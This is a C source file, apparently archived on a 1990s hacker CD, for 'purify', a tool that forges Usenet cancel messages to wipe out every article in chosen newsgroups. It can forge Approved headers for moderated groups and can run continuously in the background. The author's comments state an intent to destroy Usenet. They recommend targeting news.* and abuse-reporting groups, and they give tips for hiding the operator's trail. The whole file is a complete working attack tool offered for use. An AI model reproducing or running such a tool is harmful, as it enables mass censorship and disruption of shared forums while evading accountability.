home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / internet / cancel.c < prev    next >
Encoding:
Text File  |  2003-06-11  |  27.9 KB  |  838 lines

  1.  
  2. /* For a long time, certain pieces of potentially dangerous software have
  3.  * been in the possession of only a small number of people. Partially in
  4.  * response to some pieces of such software being made available (either
  5.  * completely publicly, or to a limited but wide audience, or for sale),
  6.  * and mostly in response to what has been the all but destruction of
  7.  * everything the net once was (and my resulting disgustion with it), I
  8.  * have released this. I intend to write and release any dangerous or
  9.  * potentially destructive software that I can conceive ideas for. The name
  10.  * of this program, "purify", reflects my feelings. Usenet has degraded to
  11.  * the point where it would be better off gone.
  12.  */
  13.  
  14. /*
  15. to compile:
  16.  
  17. all reasonable unixes:
  18. gcc -O2 -o purify purify.c
  19.  
  20. Solaris:
  21. gcc -O2 -o purify purify.c -lsocket -lnsl
  22.  
  23. SunOS:
  24. gcc -O2 -o purify purify.c -Dsunos
  25.  
  26. (you can use cc if you don't have gcc, except on SunOS, since their cc sucks)
  27. */
  28.  
  29. /*
  30. purify version 0.1, by Electric Eel. An Armageddon Software product.
  31. This program is Copyright 1997 Electric Eel and Armageddon Software. It is
  32. released under the terms of the GPL (http://www.fsf.org/copyleft/gpl.html)
  33.  
  34. This program will cancel all the articles in specified usenet newsgroups,
  35. by posting a control article for each article that we cancel. There are a
  36. great many reasons why you may find it useful to cancel all the articles in
  37. a newsgroup. For example, if you consider the group or what is posted to it
  38. offensive, if it is being used to libel or otherwise attack you, or if you
  39. want to stop what the discussion in the group might cause (for example the
  40. creation of a new newsgroup that you are opposed to). Even moderated groups
  41. can be cancelled.
  42.  
  43. This program is not intended for use. If you do use it, against my explicit
  44. advice, I can not be held responsible for what you do with it. Use of this
  45. program could get you hurt, arrested, expelled, or possibly deported.
  46.  
  47. Usage:
  48.  
  49. purify [options] newsgroup [newsgroups...]
  50.  
  51. -n nntp server to use (else we use $NNTPSERVER, /etc/nntpserver, "news")
  52. -h use header (-h Organization to take from original, -h 'Organization:
  53.    whatever' to specify)
  54. -i post with ihave (will fail if we do not have permission)
  55. -v verbose (more v's, more verbose, 1, 2, or 3)
  56. -o only post cancel to group we saw, not full Newsgroups list
  57. -m messageid type - 0=none, 1=prepend random, or string to prepend
  58.    ("cancel." default)
  59. -b string to use for body
  60. -c continuous mode, loop forever canceling new articles
  61. -A Approved header to use if a group is moderated (-h overrides. default is
  62.    original Approved line.)
  63. -N don't add "X-No-Archive: Yes" header
  64.  
  65. we will take wildcards for newsgroup name, sent to 'list active ...'.
  66. If an argument (newsgroup name or header) contains spaces or wildcards,
  67. remember to quote it to protect it from the shell.
  68.  
  69. Usage examples:
  70.  
  71. cancel all articles in alt.2600, and then quit
  72. purify alt.2600
  73.  
  74. cancel all articles in the news.* hierarchy, and then quit. You may
  75. consider this to be not only a usage example, but a suggested usage:
  76. purify "news.*"
  77.  
  78. cancel all articles in the groups news.admin.net-abuse.*, and continue to
  79. cancel any new ones that show up. the nohup makes purify keep running
  80. after you log off, the >&/dev/null causes the output to be suppressed, and
  81. the & puts the process in the background.
  82. nohup purify -c "news.admin.net-abuse.*" >&/dev/null &
  83.  
  84. cancel all articles in groups containing censorship or conspiracy in their
  85. names, using the nntp server "news.foo.edu", making the message-id of the
  86. cancel a random number plus the original message-id, give verbose output
  87. (enough to keep track of the progress), take the Approved line from the
  88. original article, and add our own header "Organization: Men In Black
  89. Evidence Removal Service". You may also consider this a suggested usage (I
  90. think it would be rather funny).
  91. purify -n news.foo.edu -m1 -v -h Approved -h "Organization: Men In Black \
  92.           Evidence Removal Service" "*censorship* "*conspiracy*"
  93.  
  94. Notes:
  95. It may be a good idea to do -h Organization or -h "Organization: <whatever>"
  96. to prevent your nntp server from adding the default Organization line. You
  97. may also wish to do -h Date to obfuscate exactly when the articles were
  98. cancelled.
  99.  
  100. If an article is posted to a newsgroup that is not moderated, but is
  101. crossposted to a moderated newsgroup, and we are cancelling in the
  102. unmoderated group, and the -o or -h Approved options are not given, our
  103. cancel will either be rejected or forwarded to the moderator. This should
  104. be a pretty rare case, but it's worth being aware of. We make no provision
  105. for resubmitting the article with an Approved header. If you're worried
  106. about this, use -h Approved (which carries a slight penalty in data
  107. received), or -o (which will cause less to be received, but may cause the
  108. article to not be cancelled on systems which carry other groups it was
  109. posted to but not the one we posted the cancel to).
  110.  
  111. Some newsgroups, notably news.admin.net-abuse.*, have a bot that re-posts
  112. all cancelled articles. Do not let this discourage you, however. This is
  113. intended to be a remedy for individual cancellations, and not
  114. mass-cancellation such as this program is designed for. The bot will cause
  115. far more problems than it solves. Unless it crashes or is disabled by its
  116. owner, it will end up posting a lot of articles in a short time - as many
  117. as you cancelled, which could be a whole week's traffic. Everyone reading
  118. the group will see each one as a new article. If you are attempting to
  119. prevent use of the newsgroup, the resulting chaos is a far more desirable
  120. situation.
  121.  
  122. If the server does not support "list active <newsgroup>", we will not be
  123. able to determine whether a group is moderated or deal with wildcards. We
  124. could do it by downloading the entire list, which could be well over a meg.
  125. Since it's pointless over a slow connection, and most nntp servers support
  126. it anyway, I didn't worry about it. In this case, wildcards will cause an
  127. error, and moderated will be assumed (meaning we will copy any Approved
  128. header in the article).
  129.  
  130. The speed of this program is mainly dependent on the speed of your nntp
  131. server, and to a lesser extent the speed of the connection to the nntp
  132. server. After the headers are retrieved, you can count on somewhere between
  133. a few cancels per second to a few seconds per cancel.
  134.  
  135. A Message-ID over 254 characters will not be accepted by the nntp server.
  136. By default, "cancel." is prepended to the article's Message-ID to create
  137. the Message-ID for the cancel. If the cancel's Message-ID would be too
  138. long, which would take a deliberate act on the part of the original poster,
  139. it will be trimmed down. (People reading this might realize that if they
  140. post their articles with Message-IDs greater than 247 characters, any
  141. cancellation software that hasn't been written with this in mind will not
  142. work without modification).
  143.  
  144. Also on the subject of deliberate acts to avoid cancellation, people might
  145. post a dummy article with a Message-ID intended to collide with the
  146. cancel's. (perhaps to alt.test, or a cancel of a nonexistant article, or a
  147. series of posts each with one more "cancel." prepended to the Message-ID).
  148. The -m options are intended to remedy this, if it becomes a problem. People
  149. worrying about having their articles cancelled by less versatile software
  150. should also take note of this.
  151.  
  152. The -o option will not prevent articles from being cancelled in groups
  153. other than that the cancel was posted to. It will only cause them to not be
  154. cancelled on news servers that do not get the group the cancel was posted
  155. to, but do get other groups the article was posted to.
  156.  
  157. If you use the -A option, the "X-No-Archive: Yes" header will not be
  158. included. This will cause your cancels will be archived in dejanews and
  159. altavista. You probably don't want an easily searchable long-lived record
  160. of your cancels, so there's really no reason to ever use this option.
  161.  
  162. TODO:
  163. The next version will handle a local news spool. This probably isn't useful
  164. to most people (I wouldn't even have somewhere to test it), but I should
  165. include it for completeness. Other than that, I can't see that there is
  166. much else to add in the way of indiscriminantly cancelling a newsgroup.
  167. Any new features I can think of would be outside the goal of this program.
  168.  
  169. Handling multiple nntp servers simultaneously, or simultaneous sending and
  170. receiving to/from the sever (with two connections) might be useful, but I
  171. don't see that it would at all be worth the trouble.
  172.  
  173. I'm certain there are bugs, this was quickly written and not extensively
  174. tested. Some stuff should be cleaned up.
  175.  
  176. The intent of the verbosity levels is: 0 - only important information is
  177. displayed, fatal or serious errors are sent to stderr, 1 - enough
  178. information to keep track of the progress is displayed, 2 - all data sent
  179. and received is displayed, 3 - internal information such as status of data
  180. structures is displayed
  181.  
  182. With -v, '<' is displayed when each post is sent, and '>' is displayed
  183. when the server returns the result, so each <> is one cancel posted.
  184. */
  185. /*e576894661eefab2c5345391e94bf05d*/
  186.  
  187. #include <stdio.h>
  188. #include <stdlib.h>
  189. #include <errno.h>
  190. #include <string.h>
  191. #include <sys/types.h>
  192. #include <sys/socket.h>
  193. #include <unistd.h>
  194. #include <sys/stat.h>
  195. #include <fcntl.h>
  196. #include <netdb.h>
  197. #include <netinet/in.h>
  198. #include <arpa/inet.h>
  199. #include <stdarg.h>
  200. #include <time.h>
  201.  
  202. #ifdef sunos /* sucks */
  203. #define memmove(a,b,c) bcopy(b,a,c)
  204. #endif /* sunos */
  205.  
  206. #define VERSION "0.1"
  207.  
  208. #define Die(x) { fputs(x, stderr); exit(1); }
  209. #define Fatal(x) { perror(x); exit(1); }
  210. #define Please2(x, y) if((x)<0) { perror(y); exit(1); }
  211. #define Return(x) { x; return; }
  212.  
  213. struct newsgroups {
  214.     char *name;         /* newsgroup name */
  215.     char flags;         /* y, n, m */
  216.     int low;            /* low article number */
  217.     struct newsgroups *next;
  218. };
  219.  
  220. struct article {
  221.     int number;
  222.     char *headers;
  223.     struct article *next;
  224. };
  225.  
  226. int only_specified_newsgroup=0;
  227. char *custom_headers[32]={NULL};
  228. char *body=NULL;
  229. int verbose=0;
  230. int use_ihave=0;
  231. char *message_id="cancel.";
  232. char *Approved=NULL;
  233.  
  234. /* appends a null-terminated list of strings to s */
  235. char *strcats(char *s, ...)
  236. {
  237.     va_list args;
  238.     char *p;
  239.  
  240.     va_start(args, s);
  241.     while((p=va_arg(args, char *))) strcat(s, p);
  242.     return s;
  243. }
  244.  
  245. /* makes an rfc822 compliant date. stolen from mutt. */
  246. char *make_date(void)
  247. {
  248.     static char s[80];
  249.     time_t t = time (NULL);
  250.     struct tm *l = gmtime(&t);
  251.     int yday = l->tm_yday;
  252.     int tz = l->tm_hour * 60 + l->tm_min;
  253.     const char *Weekdays[]={ "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" };
  254.     const char *Months[] = { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul",
  255.                              "Aug", "Sep", "Oct", "Nov", "Dec", "ERR" };
  256.  
  257.     l = localtime(&t);
  258.     tz = l->tm_hour * 60 + l->tm_min - tz;
  259.     yday = l->tm_yday - yday;
  260.  
  261.     if (yday != 0) tz += yday * 24 * 60; /* GMT is next or previous day! */
  262.  
  263.     sprintf (s, "%s, %d %s %d %02d:%02d:%02d %+03d%02d",
  264.            Weekdays[l->tm_wday], l->tm_mday, Months[l->tm_mon], l->tm_year+1900,
  265. l->tm_hour, l->tm_min, l->tm_sec, tz/60, abs(tz) % 60);
  266.     return (s);
  267. }
  268.  
  269.  
  270. /* connects to host:port, returns a socket descriptor */
  271. int tcp_connect(char *host, unsigned short port)
  272. {
  273.     int sd;
  274.     struct sockaddr_in sa;
  275.  
  276.     if( (sa.sin_addr.s_addr=inet_addr(host)) == -1)
  277.     {
  278.         struct hostent *he;
  279.  
  280.         he = gethostbyname(host);
  281.         if(he==NULL) Fatal(host);
  282.         bcopy(he->h_addr, &sa.sin_addr, he->h_length);
  283.     }
  284.  
  285.     sd = socket(AF_INET, SOCK_STREAM, 0);
  286.     if(sd<0) Fatal("socket");
  287.  
  288.     sa.sin_family=AF_INET;
  289.     sa.sin_port=htons(port);
  290.  
  291.     if(connect(sd, (struct sockaddr *)&sa, sizeof(sa))<0) Fatal("connect");
  292.     fcntl(sd, F_SETFL, O_NONBLOCK);
  293.  
  294.     return sd;
  295. }
  296.  
  297. /* read a newline-terminated line from sd.. have to buffer the data,
  298.  * otherwise we'd have to do a recv() for every byte received.
  299.  * some day i'll clean this mess up, but it works fine for our puposes.
  300.  */
  301. void readln(int sd, char *line)
  302. {
  303.     static char buf[16384];
  304.     static char *head=buf, *tail=buf;
  305.     int x=0;
  306.     char *line_start=line;
  307.  
  308. again:
  309.  
  310.     /* 4k free && <1k left in buffer or got full 4k on last read */
  311.     while(tail-buf<(16384-4096) && (tail-head<1024 || x==4096))
  312.     {
  313.         int x;
  314.         int blocked=0;
  315.  
  316.         if(verbose>=3)
  317.             printf("t:%d h:%d t-h:%d\n", tail-buf, head-buf, tail-head);
  318.         if(tail<head) Die("can't happen, tail<head\n");
  319.         if(tail==head) /* we have no data, so we'll have to block */
  320.         {
  321.             blocked=1;
  322.             fcntl(sd, F_SETFL, 0);
  323.         }
  324.  
  325.         x=recv(sd, tail, 4096, 0);
  326.         if(x==-1)
  327.         {
  328.             if(errno==EWOULDBLOCK) break;
  329.             else Fatal("recv");
  330.         }
  331.         if (blocked) fcntl(sd, F_SETFL, O_NONBLOCK); /* back to non-blocking */
  332.  
  333.         tail+=x;
  334.         if(x<4096) break;
  335.     }
  336.  
  337.     while((*line++ = *head++) != '\n')      /* copy it */
  338.         if(head>=tail) goto again;          /* more data needed */
  339.  
  340.     *line=0;
  341.  
  342.     if(head==tail) head=tail=buf;           /* no data, reset head+tail */
  343.  
  344.     if(head-buf>=4096)                      /* first 4k free, shift data */
  345.     {
  346.         memmove(buf, head, (tail-head));
  347.         tail=buf+(tail-head);
  348.         head=buf;
  349.     }
  350.  
  351.     if(verbose>=2) fputs(line_start, stdout);
  352. }
  353.  
  354. /* send null-terminated string in buf to socket sd */
  355. void Send(int sd, char *buf)
  356. {
  357.     if(verbose>=2) printf("Send(): %s\n", buf);
  358.     Please2(send(sd, buf, strlen(buf), 0), "send");
  359. }
  360.  
  361. /* send null-terminated string plus \r\n to socket */
  362. void Sendln(int sd, char *buf)
  363. {
  364.     int x;
  365.     char *s=malloc(x=(strlen(buf)+3));
  366.  
  367.     if(verbose>=2) printf("Sendln(): %s\n", buf);
  368.     strcpy(s, buf);
  369.     strcat(s, "\r\n");
  370.     Please2(send(sd, s, x-1, 0), "send");
  371.     free(s);
  372. }
  373.  
  374. /* like fprintf, to a socket */
  375. void Sendf(int sd, char *format, ...)
  376. {
  377.     va_list args;
  378.     char buf[4096];
  379.  
  380.     va_start(args, format);
  381.     vsprintf(buf, format, args);
  382.     if(verbose>=2) printf("Sendln(): %s", buf);
  383.     Please2(send(sd, buf, strlen(buf), 0), "send");
  384. }
  385.  
  386. /* reads the first line of a file and returns that */
  387. char *read_line_from_file(char *filename)
  388. {
  389.     static char buf[1024];
  390.     FILE *f;
  391.  
  392.     f=fopen(filename, "r");
  393.     if(f==NULL) return NULL;
  394.     fgets(buf, sizeof(buf), f);
  395.     if(buf[strlen(buf)-1]=='\n') buf[strlen(buf)-1]=0;
  396.     fclose(f);
  397.     return buf;
  398. }
  399.  
  400. /* add a group to a newsgroups list, buf is list active output */
  401. void addgroup(struct newsgroups **first, char *buf)
  402. {
  403.     struct newsgroups *this, *last=NULL;
  404.     char s[4096];
  405.     int low;
  406.     char flags;
  407.  
  408.     sscanf(buf, "%s %*d %d %c", s, &low, &flags);
  409.  
  410. /* we could post the cancel to another group, or with ihave. but this is a
  411.  * rare case anyway. */
  412.     if(flags=='n')
  413.         Return(printf("Can't post to %s, ignoring\n", s));
  414.  
  415. /* make sure its not a dupe */
  416.     for(this=*first; this; this=this->next)
  417.     {
  418.         last=this;
  419.         if(!strcmp(this->name, s))
  420.             Return(if(verbose>=3) printf("addgroup(): duplicate: %s\n", s));
  421.     }
  422.  
  423. /* add it */
  424.     this=malloc(sizeof(struct newsgroups));
  425.     this->next=NULL;
  426.     this->low=low;
  427.     this->name=strdup(s);
  428.     this->flags=flags;
  429.  
  430.     if(verbose>=3)
  431.         printf("added %s %d %c\n", this->name, this->low, this->flags);
  432.  
  433. /* deal with a new list */
  434.     if(last) last->next=this; /* (else) */
  435.     if(*first==NULL) *first=this;
  436.  
  437. }
  438.  
  439. /* does list active groups, feeds the output to addgroup */
  440. struct newsgroups *get_group_info(int sd, char *groups)
  441. {
  442.     char buf[1024];
  443.     static int no_list=0;
  444.     static struct newsgroups *firstgroup;
  445.  
  446. redo:
  447.     if(no_list)
  448.     {
  449.         if(strpbrk(groups, "?*"))
  450.         {
  451.             fprintf(stderr, "error: can't do list, wildcards in %s\n", groups);
  452.             return firstgroup;
  453.         }
  454.  
  455.         sprintf(buf, "%s 0 1 m", groups);
  456.         addgroup(&firstgroup, buf);
  457.         return firstgroup;
  458.     }
  459.  
  460.     Sendf(sd, "LIST ACTIVE %s\r\n", groups);
  461.  
  462.     readln(sd, buf); /* 215 Newsgroups in form "group high low flags". */
  463.     if(strncmp(buf, "215", 3))
  464.     {
  465.         printf("can't do list active <group>, server said %s", buf);
  466.         no_list=1;
  467.         goto redo;
  468.     }
  469.  
  470.     for(;;)
  471.     {
  472.         readln(sd, buf);
  473.         if(!strcmp(buf, ".\r\n")) break;
  474.         addgroup(&firstgroup, buf);
  475.  
  476.     }
  477.     return firstgroup;
  478. }
  479.  
  480. /* does xhdr header low-high, stores data in article list. Must be called
  481.  * with Message-ID first (which is a double special-case, does both
  482.  * allocation and Control headers)
  483.  */
  484. void do_xhdr(int sd, struct article **first, char *header, int low, int high)
  485. {
  486.     char buf[1024];
  487.     struct article *this, *previous;
  488.     int firstpass;
  489.  
  490.     if(verbose)
  491.         printf("do_xhdr: %d-%d, %s\n", low, high, header);
  492.  
  493.     Sendf(sd, "XHDR %s %d-%d\r\n", header, low, high);
  494. /* expect: 221 whatever fields follow */
  495.  
  496.     readln(sd, buf);
  497.     if(strncmp(buf, "221", 3))
  498.     {
  499.         fprintf(stderr, "error: Sent XHDR %s, got %s", header, buf);
  500.         exit(1);
  501.     }
  502.  
  503.     firstpass=!strcmp("Message-ID", header); /* Message-ID *must* be first*/
  504.  
  505.     for(previous=this=*first;;)
  506.     {
  507.         char buf2[4096], *p;
  508.  
  509.         readln(sd, buf);
  510.         if(!strcmp(buf, ".\r\n")) break;
  511.  
  512.         if(firstpass) /* allocation crap */
  513.         {
  514.             if(!*first) this=*first=malloc(sizeof(struct article));
  515.             else {
  516.                 this->next=malloc(sizeof(struct article));
  517.                 this=this->next;
  518.             }
  519.             this->next=NULL;
  520.         }
  521.  
  522.         for(p=buf;*p && *p!=' ';p++);
  523.         *p++=0; /* so it's number\0<header info>\r\n, *p=='<'*/
  524.         if(firstpass) this->number=atoi(buf);
  525.         else if(this->number!=atoi(buf)) /* message numbers dont match */
  526.         {
  527.             printf("Article number mismatch %d, %s\n", this->number, buf);
  528.             while(this && this->number<atoi(buf)) /* saw it b4, rm it now */
  529.             {
  530.                 if(this==*first)                /* on first one */
  531.                     *first=(*first)->next;      /* so shift it to the 2nd */
  532.                 else
  533.                     previous->next=this->next;  /* skip it in the list */
  534.  
  535.                 free(this->headers);
  536.                 free(this);
  537.                 this=previous->next;            /* new current one */
  538.             }
  539.             if(!this) return;
  540.             if(this->number>atoi(buf)) continue; /* never seen, new now */
  541.         }
  542.  
  543.         if(firstpass) /* special Message-ID stuff */
  544.         {
  545.  
  546.             sprintf(buf2, "Control: cancel %sSubject: cmsg cancel %s", p, p);
  547.             if( !(*message_id=='0' && !message_id[1]) ) /* setting the m-id*/
  548.             {
  549.                 char *prepend=message_id;
  550.                 if(message_id[0]=='1' && !message_id[1]) /* prepend random */
  551.                 {
  552.                     static char blah[10];
  553.                     sprintf(blah, "%d", rand());
  554.                     prepend=blah;
  555.                 }
  556.                 p++;
  557.                 while(strlen(p)+strlen(prepend) > 253) /*254+'<'*/
  558.                     if(*p++=='@') *p='@'; /* messageid needs an @ */
  559.                 if(*p=='@' && prepend[strlen(prepend)-1]=='.')
  560.                 { /* cant have ".@" in message-id */
  561.                     *p=p[1];
  562.                     p[1]='@';
  563.                 }
  564.  
  565.                 strcats(buf2, "Message-ID: <", prepend, p, NULL);
  566.             }
  567.  
  568.             this->headers=strdup(buf2);
  569.         } else if(strcmp(p, "(none)\r\n")) {    /*(none)==header not there*/
  570.             sprintf(buf2, "%s%s: %s", this->headers, header, p);
  571.             free(this->headers);
  572.             this->headers=strdup(buf2);
  573.         }
  574.         previous=this;
  575.         if(!firstpass) this=this->next;
  576.     }
  577.  
  578. }
  579.  
  580. /* extract a header from an article, used by post_article. hrmph. */
  581. char *extract_header(char *buf, char *header)
  582. {
  583.     static char *p;
  584.     static char r[1024];
  585.     char *q=malloc(strlen(header)+5); /*\r\n: \0*/
  586.  
  587.     *q=0;
  588.     strcats(q, "\r\n", header, ": ", NULL);
  589.     p=strstr(buf, q)+4+strlen(header);
  590.     free(q);
  591.  
  592.     strncpy(r, p, strchr(p, '\n')-p);
  593.     *strchr(r, '\r')=0;
  594.     return r;
  595. }
  596.  
  597. /* post an article to nntp server on sd. a and b are first and second half
  598. of the article. */
  599. void post_article(int sd, char *a, char *b)
  600. {
  601.     char buf[1024];
  602.     static int failed;  /* failed postings. 10 consecutive and we give up. */
  603. #ifndef TEST
  604.     if(use_ihave)
  605.         Sendf(sd, "IHAVE %s\r\n", extract_header(a, "Message-ID")); /*hrm*/
  606.     else
  607.         Sendln(sd, "POST");
  608.     readln(sd, buf);    /* expected: 340 Ok */
  609.     if(*buf!='3')
  610.     {
  611.         printf("Can't post! Server said %s", buf);
  612.         exit(1);
  613.     }
  614.  
  615.     Send(sd, a);
  616.     if(b) Send(sd, b);
  617.     Send(sd, "\r\n.\r\n");
  618.  
  619.     if(verbose==1) {fputs("<", stdout); fflush(stdout);}
  620.     readln(sd, buf); /* expected 240 Article posted */
  621.     if(verbose==1) {fputs(">", stdout); fflush(stdout);}
  622.     if(*buf!='2')
  623.     {
  624.         printf("posting failed, #%d, server said %s\n", ++failed, buf);
  625.         if(failed>=10) Die("Too many errors posting\n");
  626.     } else if(failed>0) failed=0;
  627. #else
  628.     if(use_ihave)
  629.         printf("IHAVE %s\r\n", extract_header(a, "Message-ID")); /*hrm*/
  630.     else
  631.         printf("POST\n");
  632.     fputs(a, stdout);
  633.     fputs(b, stdout);
  634.     fputs("\r\n.\r\n", stdout);
  635. #endif
  636. }
  637.  
  638. /* cancel all the articles in a newsgroup, update the low article count to
  639.  * be the highest article number we cancelled
  640.  * calls do_xhdr and post_article
  641.  */
  642. void cancel_group(int sd, struct newsgroups *group)
  643. {
  644.     char buf[1024];
  645.     int count, high;
  646.     char **p;
  647.     char rest[4096]=""; /* headers for all, and body */
  648.     int did_approved=0; /* for mod'd groups, Approved was in -h */
  649.     int x=0;
  650.  
  651.     struct article *articles=NULL, *this;
  652.  
  653.     if(verbose)
  654.         printf("cancel_group: %s\n", group->name);
  655.  
  656. /* send group <groupname> */
  657.     Sendf(sd, "GROUP %s\r\n", group->name);
  658.  
  659. /* expected: 211 count low high groupname, or 411 for no such group */
  660.     readln(sd, buf);
  661.     if(!strncmp(buf, "411", 3)) /* cant happen, i suppose */
  662.         Return(printf("No such group %s, server said %s", group->name, buf));
  663.  
  664.     if(strncmp(buf, "211", 3))
  665.     {
  666.         fprintf(stderr, "error: Sent GROUP, got %s", buf);
  667.         exit(1);
  668.     }
  669. /* get all the header information */
  670.     sscanf(buf, "211 %d %*d %d", &count, &high);
  671.     if(!count || group->low>high)
  672.         Return(if(verbose) printf("%s is empty\n", group->name));
  673.  
  674.     do_xhdr(sd, &articles, "Message-ID", group->low, high);
  675.  
  676.     if(!articles)
  677.         Return(if(verbose) printf("%s was empty\n", group->name));
  678.  
  679.     do_xhdr(sd, &articles, "From", group->low, high);
  680.     if(only_specified_newsgroup)
  681.         strcats(rest, "Newsgroups: ", group->name, "\r\n", NULL);
  682.     else
  683.         do_xhdr(sd, &articles, "Newsgroups", group->low, high);
  684.  
  685.     if(use_ihave) /* then we need the Date and Path headers */
  686.     {
  687.         int path_set=0, date_set=0;
  688.         for(p=custom_headers; *p; p++) /*check if they were user-specified*/
  689.         {
  690.             if(!strncmp(*p, "Path", 4)) path_set=1; else
  691.             if(!strncmp(*p, "Date", 4)) date_set=1;
  692.             if(path_set && date_set) break;
  693.         }
  694.         if(!date_set);
  695.             strcats(rest, "Date: ", make_date(), "\r\n", NULL);
  696.         if(!path_set)
  697.             strcats(rest, "Path: nntp!usenet\r\n", NULL);
  698.     }
  699.  
  700.  
  701. /* add -h headers */
  702.     for(p=custom_headers; *p; p++)
  703.     {
  704.         if(group->flags=='m' && !strncmp(*p, "Approved", 8)) did_approved=1;
  705.  
  706.         if(!strchr(*p, ':'))
  707.             do_xhdr(sd, &articles, *p, group->low, high);
  708.         else
  709.             strcats(rest, *p, "\r\n", NULL);
  710.     }
  711.  
  712.     if(group->flags=='m' && !did_approved) /* group is moderated */
  713.     {
  714.         if(!Approved) /* user specified Approved header for mod'd groups*/
  715.             do_xhdr(sd, &articles, "Approved", group->low, high);
  716.         else
  717.             strcats(rest, "Approved: ", Approved, "\r\n");
  718.     }
  719.  
  720.     if(body) /* user specified body */
  721.         strcats(rest, "\r\n", body, "\r\n", NULL);
  722.     else
  723.         strcat(rest, "\r\ncancel.\r\n");
  724.  
  725. /* for the next time around, skip the articles we did */
  726.     group->low=high+1;
  727.  
  728.     for(this=articles; this;x++) /* post articles and free memory */
  729.     {
  730.         struct article *p=this->next;
  731.         post_article(sd, this->headers, rest);
  732.         free(this->headers);
  733.         free(this);
  734.         this=p;
  735.     }
  736.     if(verbose) printf("\n%d cancels sent\n", x);
  737.  
  738. }
  739.  
  740. void usage(char *myname)
  741. {
  742. printf("purify version "VERSION", by Electric Eel.\nUsage:\n\
  743. %s [options] newsgroup [newsgroups...]\n\
  744. \n\
  745. -n nntp server to use (else we use $NNTPSERVER, /etc/nntpserver, \"news\")\n\
  746. -h use header (-h Organization to take from original, -h 'Organization:\n\
  747.    whatever' to specify)\n\
  748. -i post with ihave (will fail if we do not have permission)\n\
  749. -v verbose (more v's, more verbose, 1, 2, or 3)\n\
  750. -o only post cancel to group we saw, not full Newsgroups list\n\
  751. -m messageid type - 0=none, 1=prepend random, or string to prepend \n\
  752.    (\"cancel.\" default)\n\
  753. -b string to use for body\n\
  754. -c continuous mode, loop forever canceling new articles\n\
  755. -A Approved header to use if a group is moderated (-h overrides. default is \n\
  756.    original Approved line.)\n\
  757. -N don't add \"X-No-Archive: Yes\" header\n\
  758. \n\
  759. we will take wildcards for newsgroup name, sent to 'list active ...'.\n\
  760. Read the source for more documentation.\n", myname);
  761. exit(1);
  762. }
  763.  
  764. int main(int argc, char **argv)
  765. {
  766.     char s[1024];   /* general buffer */
  767.     int sd;         /* socket for nntp server */
  768.     int c;          /* for getopt */
  769.     int chc=0;      /* custom headers count, temp for arg processing */
  770.     int continuous=0; /* run forever */
  771.     int x_no_archive=1; /* include X-No-Archive: Yes header */
  772.     struct newsgroups *first=NULL, *this;
  773.  
  774.     char *nntp_server=NULL;
  775.  
  776.     if(argc<=1) usage(argv[0]);
  777.  
  778.     while((c=getopt(argc, argv, "cvioNA:n:h:b:m:")) != -1) switch(c)
  779.     {
  780.         case 'c': continuous=1; break;
  781.         case 'v': verbose++; break;
  782.         case 'i': use_ihave=1; break;
  783.         case 'o': only_specified_newsgroup=1; break;
  784.         case 'N': x_no_archive=0; break;
  785.  
  786.         case 'A': Approved=optarg; break;
  787.         case 'n': nntp_server=optarg; break;
  788.         case 'h': custom_headers[chc++]=optarg; break;
  789.         case 'b': body=optarg; break;
  790.         case 'm': if(!strchr(optarg, '@') && *optarg && strlen(optarg)<200)
  791.                     message_id=optarg;
  792.                   else puts("ignoring invalid messageid prefix");
  793.                   break;
  794.     }
  795.     if(x_no_archive) custom_headers[chc++]="X-No-Archive: Yes";
  796.     custom_headers[chc]=NULL;
  797.  
  798. /* check for bad options */
  799.     if(message_id[0]=='0' && message_id[1]==0 && use_ihave)
  800.     {
  801.         printf("Server will require a Message-ID with ihave, using default\n");
  802.         message_id="cancel.";
  803.     }
  804.  
  805.     srand((unsigned int)time(NULL));
  806.  
  807. /* find nntp server, connect to it */
  808.     if(!nntp_server) nntp_server=getenv("NNTPSERVER");
  809.     if(!nntp_server) nntp_server=read_line_from_file("/etc/nntpserver");
  810.     if(!nntp_server) nntp_server="news";
  811.     sd=tcp_connect(nntp_server, 119);
  812.  
  813.     readln(sd, s);
  814.     fputs(s, stdout);
  815.     if(*s!='2') Die("No permission to use nntp server\n");
  816.  
  817. /* so now we're connected to the nntp server, it's waiting for us */
  818.  
  819. /* send out list active groupnanme for all the args, save the info */
  820.  
  821.     while(optind<argc)
  822.         first=get_group_info(sd, argv[optind++]);
  823.  
  824.     if(!first) Die("No groups to do!\n");
  825.  
  826.     do {
  827.         for(this=first;this;this=this->next)
  828.             cancel_group(sd, this);
  829.         if(continuous) sleep(5);
  830.     } while(continuous);
  831.  
  832.     return 0;
  833. }
  834. /************************************************************************/
  835.  
  836.  
  837.  
  838.